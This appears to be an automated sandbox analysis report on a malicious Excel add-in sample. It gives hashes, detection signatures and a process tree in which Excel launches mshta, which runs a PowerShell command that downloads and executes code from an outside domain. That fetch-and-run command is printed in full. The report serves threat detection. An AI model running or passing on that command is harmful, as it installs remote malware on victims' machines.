Analysis
-
max time kernel
146s -
max time network
151s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
23-05-2024 00:40
Static task
static1
Behavioral task
behavioral1
Sample
6e150f6df4b7b928308f5a8142127f42e3b75bf4d3dcb971f3b61d12d565ce5f.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
6e150f6df4b7b928308f5a8142127f42e3b75bf4d3dcb971f3b61d12d565ce5f.xll
Resource
win11-20240508-en
General
-
Target
6e150f6df4b7b928308f5a8142127f42e3b75bf4d3dcb971f3b61d12d565ce5f.xll
-
Size
12KB
-
MD5
cb04460ddd619b8c8ee5640700e68505
-
SHA1
9f82dce8ca6a1bb168792cce87ded691a3af123c
-
SHA256
6e150f6df4b7b928308f5a8142127f42e3b75bf4d3dcb971f3b61d12d565ce5f
-
SHA512
db46926d9e94f9803a94cc3d278265667a3db93df00ab900c28d94c6ebae0575025a132cc212880120c5aec100fbd9d295087c8f1b6b27b0e74adb894f1e9122
-
SSDEEP
192:JL29RBzDzeobchBj8JONdmONlLhruTrEPEjr7Ahf:p29jnbcvYJOFBuTvr7Cf
Malware Config
Extracted
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4300 2624 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 23 4868 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 2624 EXCEL.EXE 2624 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 2624 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4868 powershell.exe 4868 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4868 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE 2624 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 2624 wrote to memory of 4300 2624 EXCEL.EXE mshta.exe PID 2624 wrote to memory of 4300 2624 EXCEL.EXE mshta.exe PID 2624 wrote to memory of 4300 2624 EXCEL.EXE mshta.exe PID 4300 wrote to memory of 4868 4300 mshta.exe powershell.exe PID 4300 wrote to memory of 4868 4300 mshta.exe powershell.exe PID 4300 wrote to memory of 4868 4300 mshta.exe powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6e150f6df4b7b928308f5a8142127f42e3b75bf4d3dcb971f3b61d12d565ce5f.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4300 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4868
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
-
C:\Users\Admin\AppData\Local\Temp\6e150f6df4b7b928308f5a8142127f42e3b75bf4d3dcb971f3b61d12d565ce5f.xll
Filesize12KB
MD5cb04460ddd619b8c8ee5640700e68505
SHA19f82dce8ca6a1bb168792cce87ded691a3af123c
SHA2566e150f6df4b7b928308f5a8142127f42e3b75bf4d3dcb971f3b61d12d565ce5f
SHA512db46926d9e94f9803a94cc3d278265667a3db93df00ab900c28d94c6ebae0575025a132cc212880120c5aec100fbd9d295087c8f1b6b27b0e74adb894f1e9122
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82